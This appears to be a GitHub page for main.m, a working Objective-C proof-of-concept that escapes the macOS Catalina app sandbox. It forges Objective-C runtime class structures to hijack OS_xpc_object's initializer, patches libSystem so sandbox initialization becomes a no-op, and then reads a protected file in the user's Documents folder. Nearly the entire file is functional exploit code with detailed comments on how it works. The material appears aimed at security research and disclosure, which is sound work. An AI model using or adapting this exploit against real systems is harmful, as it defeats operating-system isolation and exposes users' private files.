-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathmain.m
207 lines (180 loc) · 8.03 KB
/
main.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#import <Foundation/Foundation.h>
#import <dlfcn.h>
#include <mach-o/dyld.h>
/* Define some structs and defines we'll need */
struct objc2_class {
Class isa;
Class superclass;
void *cache;
uintptr_t unused;
const void *info;
};
struct __objc2_class_ro {
uint32_t flags;
uint32_t ivar_base_start;
uint32_t ivar_base_size;
uint32_t reserved;
const void *ivar_lyt;
const void *name;
const void *base_meths;
const void *base_prots;
const void *ivars;
const void *weak_ivar_lyt;
const void *base_props;
};
struct __objc2_meth {
const char *name;
const char *types;
const void *imp;
};
struct __objc2_meth_list {
uint32_t entrysize;
uint32_t count;
struct __objc2_meth method;
};
#define RW_COPIED_RO (1<<27)
#define RW_REALIZED (1<<31)
#define RO_META (1<<0)
/* Define some external symbols we'll need */
extern void OBJC_METACLASS_$_SNBBase, OBJC_CLASS_$_OS_xpc_object, OBJC_METACLASS_$_OS_xpc_object;
extern void _objc_empty_cache;
static void hacked_initalize(id self, SEL selector);
/* Define a root class for our fake classes. We don't want fake_superclass to be
a root class, because then the runtime will add an implicit +initialize method
to it, and it's data isn't very valid. */
OBJC_ROOT_CLASS @interface SNBBase
@end
@implementation SNBBase
@end
/* fake_superclass is the root of the exploitation. We set it's rw_data pointer to
16 bytes before OBJC_CLASS_$_OS_xpc_object, which happens to be in libxpc.dylib's
objc_superrefs section.. On the Objective-C runtime in Catalina, it means:
flags = LOW32(OBJC_CLASS_$_OS_os_transaction); // Doesn't really matter as long as
// it's a DSC pointer
firstSubclass shares its address with OBJC_CLASS_$_OS_xpc_object.
Because flag's content is now a DSC pointer, due to the general macOS address space
bit 31 is on, meaning this class is considered realized by the runtime. If it's not
considered realized, the runtime will try realizing it and crash because its data
isn't valid.
This IS affected by the current runtime version, for example it will not work on
Mojave and older because the rw_data structure is different, but the exploit can be
altered to support more than one runtime version by having more than 1 pair of
fake_superclass and fake_subclass, at the cost of a more complicated clean up or
having no cleanup at all (executing all code inside our +initialize).
However, Mojave and lower do not have the didCallDyldNotifyRegister guard, meaning
a category can directly override +[OS_xpc_object initialize] early enough to gain
unsandboxed code execution. This can be combined with this more complicated Catalina
exploit to support older versions of macOS without complicating cleanup too much.
*/
static const struct objc2_class fake_superclass = {
(Class) &OBJC_METACLASS_$_SNBBase,
(Class) &OBJC_METACLASS_$_SNBBase,
&_objc_empty_cache,
0,
((Class *)&OBJC_CLASS_$_OS_xpc_object) - 2,
};
/* A method list for OS_xpc_object_override. We only need an initialize method,
which will be called when this class is first accessed. Afterwards we replace
the entire class struct with the original OS_xpc_object metaclass data. */
static struct __objc2_meth_list fake_subclass_methods = {
.entrysize = sizeof(struct __objc2_meth),
.count = 1,
.method = {
.name = "initialize",
.types = "@@:",
.imp = hacked_initalize,
}
};
/* Data for our fake_subclass */
static struct __objc2_class_ro fake_subclass_data = {
.flags = RO_META, // So the runtime doesn't try messing with ivars
.name = "OS_xpc_object_override", // The runtime is sad if something has no name
.base_meths = &fake_subclass_methods, // Give it our +initialize
};
/* This class triggers the exploit. When the runtime tries to realize this class,
it will add it as a subclass for fake_superclass. Due to how that class's data
points to libxpc's data, it will eventually replace OS_xpc_object's isa (which
is originally OS_xpc_object's metaclass) with fake_subclass. Because that class
is accessed before initializing the sandbox, it will call our initialize method
before then, giving us unsandboxed code execution. */
static struct objc2_class fake_subclass = {
(Class) &fake_superclass,
(Class) &fake_superclass,
&_objc_empty_cache,
0,
&fake_subclass_data,
};
/* Add the class to the non-lazy class list, so the runtime will try to realize it. */
static struct objc2_class *class_ptr __attribute__((used)) __attribute((section("__DATA,__objc_nlclslist"))) = &fake_subclass;
static bool escaped_sandbox = false;
static void nop()
{
escaped_sandbox = true;
}
/* Quick & Dirty function that replaces references to libsecinit_initializer with
nops, so it doesn't sandbox us. */
static void disable_sandbox_init(void)
{
static bool once = false;
if (once) return;
once = true;
void *libsecinit_initializer = dlsym(RTLD_DEFAULT, "_libsecinit_initializer");
printf("Found libsecinit_initializer at %p\n", libsecinit_initializer);
for (unsigned i = _dyld_image_count(); i--;) {
if (!strstr(_dyld_get_image_name(i), "libSystem.B.dylib")) continue;
const struct mach_header_64 *header = (typeof(header)) _dyld_get_image_header(i);
printf("Found libSystem.B.dylib at %p\n", header);
const struct segment_command_64 *cmd = (typeof(cmd))(header + 1);
for (unsigned j = 0; j < header->ncmds; j++, cmd = (typeof(cmd)) ((char*) cmd + cmd->cmdsize)) {
if (cmd->cmd == LC_SEGMENT_64 && strcmp(cmd->segname, "__DATA") == 0) {
void *data = (void *)(_dyld_get_image_vmaddr_slide(i) + cmd->vmaddr);
printf("Found __DATA at %p\n", data);
for (void **ptr = data; (uintptr_t)ptr < (uintptr_t)data + cmd->vmsize; ptr++) {
if (*ptr == libsecinit_initializer) {
printf("Replacing libsecinit_initializer reference at %p with a nop\n", ptr);
*ptr = nop;
}
}
break;
}
}
}
}
static void hacked_initalize(id self, SEL selector)
{
/* If everything is working fine, we should be running before sandbox applied.
This this point we have unsandbox code execution, but let's fix the mess we
made so we can continue running and use Objective-C without crashing. */
/* First prevent the sandbox initialization from ever happening. This code
can run conditionally, if we don't want to *always* run unsandboxed. */
disable_sandbox_init();
/* OS_xpc_object's ISA is now us, and we're quite a broken ISA. Replace our
contents with the original OS_xpc_object metaclass. This way we'll also
not crash when the runtime tries calling our +load. */
memcpy(&fake_subclass, &OBJC_METACLASS_$_OS_xpc_object, sizeof(fake_subclass));
/* We also destoryed 4 bytes 12 bytes before OBJC_CLASS_$_OS_xpc_object, which
happens to be in objc_superrefs. Copy them from the follow superref. */
((uint32_t *)&OBJC_CLASS_$_OS_xpc_object)[-3] = ((uint32_t *)&OBJC_CLASS_$_OS_xpc_object)[-1];
}
/* Our main function can be anything. If the exploit ran successfully, it will be
called as usual, with a fully functional Objective-C runtime, but without being
sandboxed. */
int main()
{
if (!escaped_sandbox) {
NSLog(@"Failed to escape sandbox");
return 2;
}
NSError *error = nil;
NSString *path = [NSString stringWithFormat:@"/Users/%@/Documents/SecretDocument.txt", NSUserName()];
NSLog(@"Attempting to read protected file: %@", path);
NSData *secret = [NSData dataWithContentsOfFile:path
options:0
error:&error];
if (secret) {
NSLog(@"Escaped sandbox! The contents are: %@", [secret debugDescription]);
return 0;
}
NSLog(@"Sandbox escaped, but failed to read file: %@", error);
return 1;
}